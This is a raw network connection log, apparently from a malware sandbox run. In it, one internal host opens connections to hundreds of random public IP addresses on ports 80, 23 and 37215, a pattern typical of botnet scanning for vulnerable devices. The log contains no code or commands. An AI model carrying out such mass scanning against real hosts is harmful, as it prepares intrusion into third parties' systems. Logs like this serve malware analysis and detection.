Oct 17, 2024 02:19:43.146090031 CEST	20646	80	192.168.2.14	68.79.130.10
Oct 17, 2024 02:19:43.146095037 CEST	20646	80	192.168.2.14	67.219.146.66
Oct 17, 2024 02:19:43.146105051 CEST	20646	80	192.168.2.14	185.149.88.197
Oct 17, 2024 02:19:43.146106958 CEST	20646	80	192.168.2.14	120.59.71.217
Oct 17, 2024 02:19:43.146112919 CEST	20646	80	192.168.2.14	114.167.224.123
Oct 17, 2024 02:19:43.146112919 CEST	20646	80	192.168.2.14	151.230.195.227
Oct 17, 2024 02:19:43.146131039 CEST	20646	80	192.168.2.14	180.158.21.69
Oct 17, 2024 02:19:43.146131992 CEST	20646	80	192.168.2.14	114.66.78.52
Oct 17, 2024 02:19:43.146145105 CEST	20646	80	192.168.2.14	124.89.19.149
Oct 17, 2024 02:19:43.146145105 CEST	20646	80	192.168.2.14	12.122.175.132
Oct 17, 2024 02:19:43.146156073 CEST	20646	80	192.168.2.14	195.49.203.236
Oct 17, 2024 02:19:43.146158934 CEST	20646	80	192.168.2.14	142.233.91.189
Oct 17, 2024 02:19:43.146158934 CEST	20646	80	192.168.2.14	136.78.120.73
Oct 17, 2024 02:19:43.146158934 CEST	20646	80	192.168.2.14	75.90.26.139
Oct 17, 2024 02:19:43.146161079 CEST	20646	80	192.168.2.14	177.32.128.158
Oct 17, 2024 02:19:43.146177053 CEST	20646	80	192.168.2.14	131.29.90.23
Oct 17, 2024 02:19:43.146182060 CEST	20646	80	192.168.2.14	148.159.2.134
Oct 17, 2024 02:19:43.146188021 CEST	20646	80	192.168.2.14	220.143.77.173
Oct 17, 2024 02:19:43.146208048 CEST	20646	80	192.168.2.14	172.247.221.166
Oct 17, 2024 02:19:43.146218061 CEST	20646	80	192.168.2.14	4.212.93.89
Oct 17, 2024 02:19:43.146218061 CEST	20646	80	192.168.2.14	66.98.100.65
Oct 17, 2024 02:19:43.146234989 CEST	20646	80	192.168.2.14	188.215.16.236
Oct 17, 2024 02:19:43.146234989 CEST	20646	80	192.168.2.14	162.168.41.68
Oct 17, 2024 02:19:43.146235943 CEST	20646	80	192.168.2.14	221.42.228.66
Oct 17, 2024 02:19:43.146239042 CEST	20646	80	192.168.2.14	181.241.71.18
Oct 17, 2024 02:19:43.146250963 CEST	20646	80	192.168.2.14	46.52.119.164
Oct 17, 2024 02:19:43.146251917 CEST	20646	80	192.168.2.14	43.190.19.94
Oct 17, 2024 02:19:43.146250963 CEST	20646	80	192.168.2.14	76.127.51.145
Oct 17, 2024 02:19:43.146255016 CEST	20646	80	192.168.2.14	79.119.88.182
Oct 17, 2024 02:19:43.146260023 CEST	20646	80	192.168.2.14	117.132.219.128
Oct 17, 2024 02:19:43.146271944 CEST	20646	80	192.168.2.14	202.47.234.148
Oct 17, 2024 02:19:43.146279097 CEST	20646	80	192.168.2.14	84.142.40.94
Oct 17, 2024 02:19:43.146279097 CEST	20646	80	192.168.2.14	140.237.205.239
Oct 17, 2024 02:19:43.146281958 CEST	20646	80	192.168.2.14	8.16.219.165
Oct 17, 2024 02:19:43.146290064 CEST	20646	80	192.168.2.14	23.113.179.149
Oct 17, 2024 02:19:43.146305084 CEST	20646	80	192.168.2.14	25.203.125.29
Oct 17, 2024 02:19:43.146305084 CEST	20646	80	192.168.2.14	212.39.212.188
Oct 17, 2024 02:19:43.146305084 CEST	20646	80	192.168.2.14	213.119.137.148
Oct 17, 2024 02:19:43.146306992 CEST	20646	80	192.168.2.14	201.227.216.217
Oct 17, 2024 02:19:43.146312952 CEST	20646	80	192.168.2.14	40.88.228.61
Oct 17, 2024 02:19:43.146312952 CEST	20646	80	192.168.2.14	2.100.106.127
Oct 17, 2024 02:19:43.146334887 CEST	20646	80	192.168.2.14	128.106.116.165
Oct 17, 2024 02:19:43.146334887 CEST	20646	80	192.168.2.14	138.163.57.120
Oct 17, 2024 02:19:43.146339893 CEST	20646	80	192.168.2.14	41.57.66.171
Oct 17, 2024 02:19:43.146342039 CEST	20646	80	192.168.2.14	53.51.56.101
Oct 17, 2024 02:19:43.146363020 CEST	20646	80	192.168.2.14	170.55.100.159
Oct 17, 2024 02:19:43.146363020 CEST	20646	80	192.168.2.14	76.187.107.159
Oct 17, 2024 02:19:43.146363974 CEST	20646	80	192.168.2.14	147.148.235.238
Oct 17, 2024 02:19:43.146363974 CEST	20646	80	192.168.2.14	129.233.211.85
Oct 17, 2024 02:19:43.146364927 CEST	20646	80	192.168.2.14	109.242.191.214
Oct 17, 2024 02:19:43.146378040 CEST	20646	80	192.168.2.14	136.217.248.36
Oct 17, 2024 02:19:43.146384954 CEST	20646	80	192.168.2.14	125.115.180.1
Oct 17, 2024 02:19:43.146394014 CEST	20646	80	192.168.2.14	122.219.120.136
Oct 17, 2024 02:19:43.146410942 CEST	20646	80	192.168.2.14	79.60.61.239
Oct 17, 2024 02:19:43.146413088 CEST	20646	80	192.168.2.14	91.243.27.32
Oct 17, 2024 02:19:43.146413088 CEST	20646	80	192.168.2.14	12.237.9.166
Oct 17, 2024 02:19:43.146419048 CEST	20646	80	192.168.2.14	163.131.146.165
Oct 17, 2024 02:19:43.146419048 CEST	20646	80	192.168.2.14	62.225.181.139
Oct 17, 2024 02:19:43.146423101 CEST	20646	80	192.168.2.14	64.194.237.94
Oct 17, 2024 02:19:43.146428108 CEST	20646	80	192.168.2.14	168.160.125.84
Oct 17, 2024 02:19:43.146439075 CEST	20646	80	192.168.2.14	135.205.127.129
Oct 17, 2024 02:19:43.146449089 CEST	20646	80	192.168.2.14	106.115.233.220
Oct 17, 2024 02:19:43.146449089 CEST	20646	80	192.168.2.14	219.167.171.156
Oct 17, 2024 02:19:43.146450043 CEST	20646	80	192.168.2.14	155.124.31.96
Oct 17, 2024 02:19:43.146450043 CEST	20646	80	192.168.2.14	114.99.196.41
Oct 17, 2024 02:19:43.146459103 CEST	20646	80	192.168.2.14	40.8.154.216
Oct 17, 2024 02:19:43.146464109 CEST	20646	80	192.168.2.14	128.37.114.219
Oct 17, 2024 02:19:43.146477938 CEST	20646	80	192.168.2.14	212.254.33.190
Oct 17, 2024 02:19:43.146477938 CEST	20646	80	192.168.2.14	190.92.110.90
Oct 17, 2024 02:19:43.146487951 CEST	20646	80	192.168.2.14	72.193.171.223
Oct 17, 2024 02:19:43.146495104 CEST	20646	80	192.168.2.14	41.156.188.167
Oct 17, 2024 02:19:43.146496058 CEST	20646	80	192.168.2.14	212.216.85.39
Oct 17, 2024 02:19:43.146512985 CEST	20646	80	192.168.2.14	148.89.25.150
Oct 17, 2024 02:19:43.146516085 CEST	20646	80	192.168.2.14	48.88.67.126
Oct 17, 2024 02:19:43.146519899 CEST	20646	80	192.168.2.14	101.48.101.206
Oct 17, 2024 02:19:43.146519899 CEST	20646	80	192.168.2.14	165.136.69.32
Oct 17, 2024 02:19:43.146531105 CEST	20646	80	192.168.2.14	110.115.115.181
Oct 17, 2024 02:19:43.146538019 CEST	20646	80	192.168.2.14	17.101.98.189
Oct 17, 2024 02:19:43.146569014 CEST	20646	80	192.168.2.14	156.238.136.254
Oct 17, 2024 02:19:43.146569014 CEST	20646	80	192.168.2.14	155.136.76.124
Oct 17, 2024 02:19:43.146569014 CEST	20646	80	192.168.2.14	91.196.3.32
Oct 17, 2024 02:19:43.146572113 CEST	20646	80	192.168.2.14	117.47.177.231
Oct 17, 2024 02:19:43.146585941 CEST	20646	80	192.168.2.14	116.181.170.96
Oct 17, 2024 02:19:43.146585941 CEST	20646	80	192.168.2.14	192.76.72.250
Oct 17, 2024 02:19:43.146588087 CEST	20646	80	192.168.2.14	200.179.129.182
Oct 17, 2024 02:19:43.146605015 CEST	20646	80	192.168.2.14	24.198.92.167
Oct 17, 2024 02:19:43.146605015 CEST	20646	80	192.168.2.14	170.192.158.151
Oct 17, 2024 02:19:43.146605015 CEST	20646	80	192.168.2.14	83.234.222.59
Oct 17, 2024 02:19:43.146605015 CEST	20646	80	192.168.2.14	216.208.68.165
Oct 17, 2024 02:19:43.146620035 CEST	20646	80	192.168.2.14	184.183.72.48
Oct 17, 2024 02:19:43.146631956 CEST	20646	80	192.168.2.14	155.102.143.171
Oct 17, 2024 02:19:43.146634102 CEST	20646	80	192.168.2.14	52.195.48.199
Oct 17, 2024 02:19:43.146644115 CEST	20646	80	192.168.2.14	116.162.75.62
Oct 17, 2024 02:19:43.146646023 CEST	20646	80	192.168.2.14	137.49.4.116
Oct 17, 2024 02:19:43.146646023 CEST	20646	80	192.168.2.14	122.217.175.93
Oct 17, 2024 02:19:43.146670103 CEST	20646	80	192.168.2.14	113.36.223.128
Oct 17, 2024 02:19:43.146671057 CEST	20646	80	192.168.2.14	84.95.199.195
Oct 17, 2024 02:19:43.146677971 CEST	20646	80	192.168.2.14	204.253.170.219
Oct 17, 2024 02:19:43.146677971 CEST	20646	80	192.168.2.14	193.21.243.104
Oct 17, 2024 02:19:43.146692038 CEST	20646	80	192.168.2.14	205.250.191.168
Oct 17, 2024 02:19:43.146698952 CEST	20646	80	192.168.2.14	78.90.117.122
Oct 17, 2024 02:19:43.146698952 CEST	20646	80	192.168.2.14	83.248.126.182
Oct 17, 2024 02:19:43.146698952 CEST	20646	80	192.168.2.14	85.146.30.254
Oct 17, 2024 02:19:43.146699905 CEST	20646	80	192.168.2.14	191.167.228.241
Oct 17, 2024 02:19:43.146718025 CEST	20646	80	192.168.2.14	123.219.108.245
Oct 17, 2024 02:19:43.146718979 CEST	20646	80	192.168.2.14	54.183.111.210
Oct 17, 2024 02:19:43.146738052 CEST	20646	80	192.168.2.14	168.112.152.148
Oct 17, 2024 02:19:43.146743059 CEST	20646	80	192.168.2.14	117.238.231.240
Oct 17, 2024 02:19:43.146743059 CEST	20646	80	192.168.2.14	166.111.159.170
Oct 17, 2024 02:19:43.146754026 CEST	20646	80	192.168.2.14	63.60.205.28
Oct 17, 2024 02:19:43.146761894 CEST	20646	80	192.168.2.14	217.26.24.11
Oct 17, 2024 02:19:43.146764994 CEST	20646	80	192.168.2.14	66.34.199.106
Oct 17, 2024 02:19:43.146764994 CEST	20646	80	192.168.2.14	141.219.195.199
Oct 17, 2024 02:19:43.146768093 CEST	20646	80	192.168.2.14	210.207.16.26
Oct 17, 2024 02:19:43.146768093 CEST	20646	80	192.168.2.14	138.212.124.32
Oct 17, 2024 02:19:43.146785021 CEST	20646	80	192.168.2.14	44.98.125.185
Oct 17, 2024 02:19:43.146800995 CEST	20646	80	192.168.2.14	165.72.17.131
Oct 17, 2024 02:19:43.146800995 CEST	20646	80	192.168.2.14	199.75.29.47
Oct 17, 2024 02:19:43.146801949 CEST	20646	80	192.168.2.14	183.133.168.27
Oct 17, 2024 02:19:43.146820068 CEST	20646	80	192.168.2.14	1.154.50.90
Oct 17, 2024 02:19:43.146831036 CEST	20646	80	192.168.2.14	63.246.243.32
Oct 17, 2024 02:19:43.146831036 CEST	20646	80	192.168.2.14	110.74.70.234
Oct 17, 2024 02:19:43.146838903 CEST	20646	80	192.168.2.14	204.133.17.235
Oct 17, 2024 02:19:43.146842957 CEST	20646	80	192.168.2.14	223.217.48.250
Oct 17, 2024 02:19:43.146855116 CEST	20646	80	192.168.2.14	85.4.149.251
Oct 17, 2024 02:19:43.146864891 CEST	20646	80	192.168.2.14	90.81.157.13
Oct 17, 2024 02:19:43.146867037 CEST	20646	80	192.168.2.14	141.160.175.161
Oct 17, 2024 02:19:43.146876097 CEST	20646	80	192.168.2.14	138.108.131.8
Oct 17, 2024 02:19:43.146881104 CEST	20646	80	192.168.2.14	99.255.236.238
Oct 17, 2024 02:19:43.146883965 CEST	20646	80	192.168.2.14	114.123.38.141
Oct 17, 2024 02:19:43.146895885 CEST	20646	80	192.168.2.14	121.119.168.134
Oct 17, 2024 02:19:43.146895885 CEST	20646	80	192.168.2.14	92.94.205.253
Oct 17, 2024 02:19:43.146895885 CEST	20646	80	192.168.2.14	139.40.119.161
Oct 17, 2024 02:19:43.146898031 CEST	20646	80	192.168.2.14	179.211.79.246
Oct 17, 2024 02:19:43.146902084 CEST	20646	80	192.168.2.14	172.250.130.162
Oct 17, 2024 02:19:43.146910906 CEST	20646	80	192.168.2.14	85.140.169.180
Oct 17, 2024 02:19:43.146930933 CEST	20646	80	192.168.2.14	173.156.194.23
Oct 17, 2024 02:19:43.146934032 CEST	20646	80	192.168.2.14	68.139.159.254
Oct 17, 2024 02:19:43.146934032 CEST	20646	80	192.168.2.14	115.88.201.162
Oct 17, 2024 02:19:43.146934032 CEST	20646	80	192.168.2.14	165.213.224.197
Oct 17, 2024 02:19:43.146936893 CEST	20646	80	192.168.2.14	157.52.218.224
Oct 17, 2024 02:19:43.146936893 CEST	20646	80	192.168.2.14	76.31.154.22
Oct 17, 2024 02:19:43.146950006 CEST	20646	80	192.168.2.14	198.183.12.235
Oct 17, 2024 02:19:43.146972895 CEST	20646	80	192.168.2.14	40.214.211.87
Oct 17, 2024 02:19:43.146980047 CEST	20646	80	192.168.2.14	146.45.21.76
Oct 17, 2024 02:19:43.146981001 CEST	20646	80	192.168.2.14	154.206.119.234
Oct 17, 2024 02:19:43.146981001 CEST	20646	80	192.168.2.14	166.186.118.165
Oct 17, 2024 02:19:43.146982908 CEST	20646	80	192.168.2.14	203.218.166.126
Oct 17, 2024 02:19:43.146982908 CEST	20646	80	192.168.2.14	165.153.71.196
Oct 17, 2024 02:19:43.146986961 CEST	20646	80	192.168.2.14	38.118.82.233
Oct 17, 2024 02:19:43.146989107 CEST	20646	80	192.168.2.14	172.150.78.83
Oct 17, 2024 02:19:43.147001028 CEST	20646	80	192.168.2.14	91.80.131.128
Oct 17, 2024 02:19:43.147001028 CEST	20646	80	192.168.2.14	90.131.7.15
Oct 17, 2024 02:19:43.147017002 CEST	20646	80	192.168.2.14	27.241.244.84
Oct 17, 2024 02:19:43.147021055 CEST	20646	80	192.168.2.14	112.21.132.227
Oct 17, 2024 02:19:43.147021055 CEST	20646	80	192.168.2.14	77.75.30.18
Oct 17, 2024 02:19:43.147037029 CEST	20646	80	192.168.2.14	77.44.42.245
Oct 17, 2024 02:19:43.147059917 CEST	20646	80	192.168.2.14	172.142.37.124
Oct 17, 2024 02:19:43.147061110 CEST	20646	80	192.168.2.14	51.182.102.83
Oct 17, 2024 02:19:43.147063017 CEST	20646	80	192.168.2.14	219.184.170.73
Oct 17, 2024 02:19:43.147090912 CEST	20646	80	192.168.2.14	95.226.132.96
Oct 17, 2024 02:19:43.147095919 CEST	20646	80	192.168.2.14	63.152.100.219
Oct 17, 2024 02:19:43.147095919 CEST	20646	80	192.168.2.14	106.214.115.7
Oct 17, 2024 02:19:43.147106886 CEST	20646	80	192.168.2.14	2.4.255.194
Oct 17, 2024 02:19:43.147106886 CEST	20646	80	192.168.2.14	136.98.78.53
Oct 17, 2024 02:19:43.147120953 CEST	20646	80	192.168.2.14	43.53.34.173
Oct 17, 2024 02:19:43.147125959 CEST	20646	80	192.168.2.14	130.50.136.162
Oct 17, 2024 02:19:43.147128105 CEST	20646	80	192.168.2.14	120.221.230.6
Oct 17, 2024 02:19:43.147135973 CEST	20646	80	192.168.2.14	5.113.79.185
Oct 17, 2024 02:19:43.147145033 CEST	20646	80	192.168.2.14	99.218.189.138
Oct 17, 2024 02:19:43.147162914 CEST	20646	80	192.168.2.14	14.121.82.222
Oct 17, 2024 02:19:43.147170067 CEST	20646	80	192.168.2.14	111.146.178.70
Oct 17, 2024 02:19:43.147178888 CEST	20646	80	192.168.2.14	80.6.3.166
Oct 17, 2024 02:19:43.147178888 CEST	20646	80	192.168.2.14	119.33.251.59
Oct 17, 2024 02:19:43.147186995 CEST	20646	80	192.168.2.14	58.161.119.149
Oct 17, 2024 02:19:43.147187948 CEST	20646	80	192.168.2.14	209.188.130.124
Oct 17, 2024 02:19:43.147187948 CEST	20646	80	192.168.2.14	126.133.32.180
Oct 17, 2024 02:19:43.147195101 CEST	20646	80	192.168.2.14	77.82.87.119
Oct 17, 2024 02:19:43.147201061 CEST	20646	80	192.168.2.14	24.7.90.74
Oct 17, 2024 02:19:43.147209883 CEST	20646	80	192.168.2.14	43.55.32.59
Oct 17, 2024 02:19:43.147216082 CEST	20646	80	192.168.2.14	116.19.15.171
Oct 17, 2024 02:19:43.147222042 CEST	20646	80	192.168.2.14	12.72.193.142
Oct 17, 2024 02:19:43.147222996 CEST	20646	80	192.168.2.14	217.21.121.209
Oct 17, 2024 02:19:43.147222996 CEST	20646	80	192.168.2.14	223.101.150.57
Oct 17, 2024 02:19:43.147241116 CEST	20646	80	192.168.2.14	222.101.213.192
Oct 17, 2024 02:19:43.147241116 CEST	20646	80	192.168.2.14	19.39.7.211
Oct 17, 2024 02:19:43.147242069 CEST	20646	80	192.168.2.14	167.252.183.249
Oct 17, 2024 02:19:43.147265911 CEST	20646	80	192.168.2.14	113.197.65.174
Oct 17, 2024 02:19:43.147265911 CEST	20646	80	192.168.2.14	185.76.133.78
Oct 17, 2024 02:19:43.147286892 CEST	20646	80	192.168.2.14	78.185.234.63
Oct 17, 2024 02:19:43.147289038 CEST	20646	80	192.168.2.14	87.158.173.140
Oct 17, 2024 02:19:43.147289038 CEST	20646	80	192.168.2.14	198.101.12.76
Oct 17, 2024 02:19:43.147294998 CEST	20646	80	192.168.2.14	106.110.216.165
Oct 17, 2024 02:19:43.147309065 CEST	20646	80	192.168.2.14	48.123.66.220
Oct 17, 2024 02:19:43.147310019 CEST	20646	80	192.168.2.14	97.17.213.214
Oct 17, 2024 02:19:43.147310019 CEST	20646	80	192.168.2.14	131.234.130.28
Oct 17, 2024 02:19:43.147320986 CEST	20646	80	192.168.2.14	149.85.186.104
Oct 17, 2024 02:19:43.147325039 CEST	20646	80	192.168.2.14	191.177.45.166
Oct 17, 2024 02:19:43.147325993 CEST	20646	80	192.168.2.14	152.203.204.116
Oct 17, 2024 02:19:43.147350073 CEST	20646	80	192.168.2.14	193.198.228.65
Oct 17, 2024 02:19:43.147351027 CEST	20646	80	192.168.2.14	143.138.115.8
Oct 17, 2024 02:19:43.147356987 CEST	20646	80	192.168.2.14	175.89.123.71
Oct 17, 2024 02:19:43.147371054 CEST	20646	80	192.168.2.14	82.45.48.239
Oct 17, 2024 02:19:43.147377014 CEST	20646	80	192.168.2.14	161.238.188.77
Oct 17, 2024 02:19:43.147377014 CEST	20646	80	192.168.2.14	207.55.128.32
Oct 17, 2024 02:19:43.147393942 CEST	20646	80	192.168.2.14	17.54.164.225
Oct 17, 2024 02:19:43.147403002 CEST	20646	80	192.168.2.14	155.202.201.155
Oct 17, 2024 02:19:43.147407055 CEST	20646	80	192.168.2.14	171.81.132.82
Oct 17, 2024 02:19:43.147424936 CEST	20646	80	192.168.2.14	199.216.243.65
Oct 17, 2024 02:19:43.147430897 CEST	20646	80	192.168.2.14	52.12.237.13
Oct 17, 2024 02:19:43.147430897 CEST	20646	80	192.168.2.14	58.10.185.156
Oct 17, 2024 02:19:43.147439003 CEST	20646	80	192.168.2.14	131.42.112.194
Oct 17, 2024 02:19:43.147450924 CEST	20646	80	192.168.2.14	133.69.193.200
Oct 17, 2024 02:19:43.147450924 CEST	20646	80	192.168.2.14	212.213.76.36
Oct 17, 2024 02:19:43.147450924 CEST	20646	80	192.168.2.14	27.35.62.119
Oct 17, 2024 02:19:43.147450924 CEST	20646	80	192.168.2.14	182.16.84.174
Oct 17, 2024 02:19:43.147456884 CEST	20646	80	192.168.2.14	106.162.100.132
Oct 17, 2024 02:19:43.147465944 CEST	20646	80	192.168.2.14	58.116.255.247
Oct 17, 2024 02:19:43.147476912 CEST	20646	80	192.168.2.14	125.14.8.187
Oct 17, 2024 02:19:43.147489071 CEST	20646	80	192.168.2.14	103.19.171.5
Oct 17, 2024 02:19:43.147505045 CEST	20646	80	192.168.2.14	111.134.35.131
Oct 17, 2024 02:19:43.147505045 CEST	20646	80	192.168.2.14	181.4.159.142
Oct 17, 2024 02:19:43.147519112 CEST	20646	80	192.168.2.14	207.80.11.62
Oct 17, 2024 02:19:43.147520065 CEST	20646	80	192.168.2.14	208.217.79.88
Oct 17, 2024 02:19:43.147631884 CEST	34536	80	192.168.2.14	104.67.111.220
Oct 17, 2024 02:19:43.147660971 CEST	34536	80	192.168.2.14	104.67.111.220
Oct 17, 2024 02:19:43.148004055 CEST	20646	80	192.168.2.14	23.142.197.54
Oct 17, 2024 02:19:43.152267933 CEST	80	20646	17.54.164.225	192.168.2.14
Oct 17, 2024 02:19:43.152328014 CEST	20646	80	192.168.2.14	17.54.164.225
Oct 17, 2024 02:19:43.152482986 CEST	80	34536	104.67.111.220	192.168.2.14
Oct 17, 2024 02:19:43.159096956 CEST	80	34644	176.113.27.165	192.168.2.14
Oct 17, 2024 02:19:43.171783924 CEST	53526	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:43.171783924 CEST	58704	23	192.168.2.14	82.62.68.31
Oct 17, 2024 02:19:43.171798944 CEST	51026	80	192.168.2.14	5.130.89.178
Oct 17, 2024 02:19:43.171835899 CEST	58188	37215	192.168.2.14	41.187.219.13
Oct 17, 2024 02:19:43.171844006 CEST	36036	23	192.168.2.14	117.10.250.66
Oct 17, 2024 02:19:43.176698923 CEST	80	53526	175.135.73.178	192.168.2.14
Oct 17, 2024 02:19:43.176764965 CEST	53526	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:43.176804066 CEST	23	58704	82.62.68.31	192.168.2.14
Oct 17, 2024 02:19:43.176904917 CEST	58704	23	192.168.2.14	82.62.68.31
Oct 17, 2024 02:19:43.176928043 CEST	56732	37215	192.168.2.14	156.105.45.222
Oct 17, 2024 02:19:43.176970005 CEST	20632	23	192.168.2.14	48.159.179.103
Oct 17, 2024 02:19:43.176980019 CEST	20632	23	192.168.2.14	77.94.15.51
Oct 17, 2024 02:19:43.176985025 CEST	20632	23	192.168.2.14	9.5.211.61
Oct 17, 2024 02:19:43.176985025 CEST	20632	23	192.168.2.14	173.43.91.140
Oct 17, 2024 02:19:43.176990986 CEST	20632	23	192.168.2.14	89.22.107.135
Oct 17, 2024 02:19:43.176990986 CEST	20632	23	192.168.2.14	196.59.7.240
Oct 17, 2024 02:19:43.177002907 CEST	20632	23	192.168.2.14	200.247.29.8
Oct 17, 2024 02:19:43.177006006 CEST	20632	23	192.168.2.14	140.89.21.53
Oct 17, 2024 02:19:43.177005053 CEST	20632	23	192.168.2.14	156.249.87.74
Oct 17, 2024 02:19:43.177005053 CEST	20632	23	192.168.2.14	123.71.20.133
Oct 17, 2024 02:19:43.177005053 CEST	20632	23	192.168.2.14	9.213.223.249
Oct 17, 2024 02:19:43.177005053 CEST	20632	23	192.168.2.14	211.223.186.100
Oct 17, 2024 02:19:43.177016020 CEST	20632	23	192.168.2.14	101.94.241.160
Oct 17, 2024 02:19:43.177017927 CEST	20632	23	192.168.2.14	84.21.227.152
Oct 17, 2024 02:19:43.177021027 CEST	20632	23	192.168.2.14	211.106.77.215
Oct 17, 2024 02:19:43.177021027 CEST	20632	23	192.168.2.14	35.53.111.134
Oct 17, 2024 02:19:43.177021027 CEST	20632	23	192.168.2.14	195.39.109.231
Oct 17, 2024 02:19:43.177017927 CEST	20632	23	192.168.2.14	176.239.174.73
Oct 17, 2024 02:19:43.177031040 CEST	20632	23	192.168.2.14	72.124.204.132
Oct 17, 2024 02:19:43.177031994 CEST	20632	23	192.168.2.14	189.154.217.31
Oct 17, 2024 02:19:43.177035093 CEST	20632	23	192.168.2.14	27.169.135.73
Oct 17, 2024 02:19:43.177045107 CEST	20632	23	192.168.2.14	45.166.239.142
Oct 17, 2024 02:19:43.177045107 CEST	20632	23	192.168.2.14	217.108.58.10
Oct 17, 2024 02:19:43.177046061 CEST	20632	23	192.168.2.14	175.4.100.145
Oct 17, 2024 02:19:43.177047014 CEST	20632	23	192.168.2.14	221.167.12.122
Oct 17, 2024 02:19:43.177047014 CEST	20632	23	192.168.2.14	106.232.193.148
Oct 17, 2024 02:19:43.177054882 CEST	20632	23	192.168.2.14	119.93.251.56
Oct 17, 2024 02:19:43.177061081 CEST	20632	23	192.168.2.14	76.95.22.164
Oct 17, 2024 02:19:43.177062988 CEST	20632	23	192.168.2.14	85.87.108.106
Oct 17, 2024 02:19:43.177073002 CEST	20632	23	192.168.2.14	77.65.231.169
Oct 17, 2024 02:19:43.177073002 CEST	20632	23	192.168.2.14	145.30.85.115
Oct 17, 2024 02:19:43.177074909 CEST	20632	23	192.168.2.14	104.40.103.207
Oct 17, 2024 02:19:43.177078009 CEST	20632	23	192.168.2.14	204.104.45.179
Oct 17, 2024 02:19:43.177095890 CEST	20632	23	192.168.2.14	103.137.44.73
Oct 17, 2024 02:19:43.177105904 CEST	20632	23	192.168.2.14	88.26.100.169
Oct 17, 2024 02:19:43.177107096 CEST	20632	23	192.168.2.14	9.148.1.184
Oct 17, 2024 02:19:43.177107096 CEST	20632	23	192.168.2.14	103.47.21.22
Oct 17, 2024 02:19:43.177114010 CEST	20632	23	192.168.2.14	72.249.177.31
Oct 17, 2024 02:19:43.177119970 CEST	35494	80	192.168.2.14	104.67.111.220
Oct 17, 2024 02:19:43.177119970 CEST	20632	23	192.168.2.14	48.7.133.0
Oct 17, 2024 02:19:43.177122116 CEST	20632	23	192.168.2.14	77.36.11.52
Oct 17, 2024 02:19:43.177123070 CEST	20632	23	192.168.2.14	65.31.13.100
Oct 17, 2024 02:19:43.177134991 CEST	20632	23	192.168.2.14	98.21.187.41
Oct 17, 2024 02:19:43.177138090 CEST	20632	23	192.168.2.14	203.231.45.231
Oct 17, 2024 02:19:43.177139997 CEST	20632	23	192.168.2.14	193.19.210.238
Oct 17, 2024 02:19:43.177140951 CEST	20632	23	192.168.2.14	134.232.87.187
Oct 17, 2024 02:19:43.177150965 CEST	20632	23	192.168.2.14	134.192.4.107
Oct 17, 2024 02:19:43.177151918 CEST	20632	23	192.168.2.14	206.237.79.131
Oct 17, 2024 02:19:43.177160978 CEST	20632	23	192.168.2.14	73.114.112.209
Oct 17, 2024 02:19:43.177165031 CEST	20632	23	192.168.2.14	175.51.188.156
Oct 17, 2024 02:19:43.177169085 CEST	20632	23	192.168.2.14	50.177.180.160
Oct 17, 2024 02:19:43.177169085 CEST	20632	23	192.168.2.14	155.218.230.106
Oct 17, 2024 02:19:43.177172899 CEST	20632	23	192.168.2.14	49.109.4.146
Oct 17, 2024 02:19:43.177172899 CEST	20632	23	192.168.2.14	94.35.143.190
Oct 17, 2024 02:19:43.177180052 CEST	20632	23	192.168.2.14	142.36.38.63
Oct 17, 2024 02:19:43.177187920 CEST	20632	23	192.168.2.14	138.4.111.244
Oct 17, 2024 02:19:43.177191019 CEST	20632	23	192.168.2.14	48.208.164.161
Oct 17, 2024 02:19:43.177198887 CEST	20632	23	192.168.2.14	77.148.190.57
Oct 17, 2024 02:19:43.177198887 CEST	20632	23	192.168.2.14	135.173.107.236
Oct 17, 2024 02:19:43.177201033 CEST	20632	23	192.168.2.14	182.169.11.74
Oct 17, 2024 02:19:43.177205086 CEST	20632	23	192.168.2.14	116.193.209.81
Oct 17, 2024 02:19:43.177205086 CEST	20632	23	192.168.2.14	132.203.6.250
Oct 17, 2024 02:19:43.177206039 CEST	20632	23	192.168.2.14	132.150.188.8
Oct 17, 2024 02:19:43.177221060 CEST	20632	23	192.168.2.14	133.84.156.255
Oct 17, 2024 02:19:43.177222013 CEST	20632	23	192.168.2.14	87.61.143.171
Oct 17, 2024 02:19:43.177227974 CEST	20632	23	192.168.2.14	195.117.64.98
Oct 17, 2024 02:19:43.177227974 CEST	20632	23	192.168.2.14	75.240.78.6
Oct 17, 2024 02:19:43.177231073 CEST	20632	23	192.168.2.14	98.253.113.55
Oct 17, 2024 02:19:43.177238941 CEST	20632	23	192.168.2.14	69.99.216.64
Oct 17, 2024 02:19:43.177238941 CEST	20632	23	192.168.2.14	170.234.172.228
Oct 17, 2024 02:19:43.177242994 CEST	20632	23	192.168.2.14	195.97.97.79
Oct 17, 2024 02:19:43.177259922 CEST	20632	23	192.168.2.14	126.92.44.189
Oct 17, 2024 02:19:43.177267075 CEST	20632	23	192.168.2.14	65.84.147.244
Oct 17, 2024 02:19:43.177267075 CEST	20632	23	192.168.2.14	89.44.218.73
Oct 17, 2024 02:19:43.177273035 CEST	20632	23	192.168.2.14	222.168.107.50
Oct 17, 2024 02:19:43.177273035 CEST	20632	23	192.168.2.14	66.71.54.70
Oct 17, 2024 02:19:43.177272081 CEST	20632	23	192.168.2.14	113.22.88.168
Oct 17, 2024 02:19:43.177277088 CEST	20632	23	192.168.2.14	207.9.139.45
Oct 17, 2024 02:19:43.177272081 CEST	20632	23	192.168.2.14	172.77.223.145
Oct 17, 2024 02:19:43.177283049 CEST	20632	23	192.168.2.14	193.19.244.213
Oct 17, 2024 02:19:43.177283049 CEST	20632	23	192.168.2.14	222.135.33.4
Oct 17, 2024 02:19:43.177284002 CEST	20632	23	192.168.2.14	114.114.128.158
Oct 17, 2024 02:19:43.177284956 CEST	20632	23	192.168.2.14	107.15.252.138
Oct 17, 2024 02:19:43.177284956 CEST	20632	23	192.168.2.14	223.93.87.83
Oct 17, 2024 02:19:43.177303076 CEST	20632	23	192.168.2.14	19.162.236.226
Oct 17, 2024 02:19:43.177303076 CEST	20632	23	192.168.2.14	161.221.194.205
Oct 17, 2024 02:19:43.177305937 CEST	20632	23	192.168.2.14	185.232.76.54
Oct 17, 2024 02:19:43.177309036 CEST	20632	23	192.168.2.14	137.135.203.153
Oct 17, 2024 02:19:43.177309036 CEST	20632	23	192.168.2.14	206.125.92.220
Oct 17, 2024 02:19:43.177311897 CEST	20632	23	192.168.2.14	219.116.242.160
Oct 17, 2024 02:19:43.177320957 CEST	20632	23	192.168.2.14	114.229.243.78
Oct 17, 2024 02:19:43.177325964 CEST	20632	23	192.168.2.14	199.80.145.28
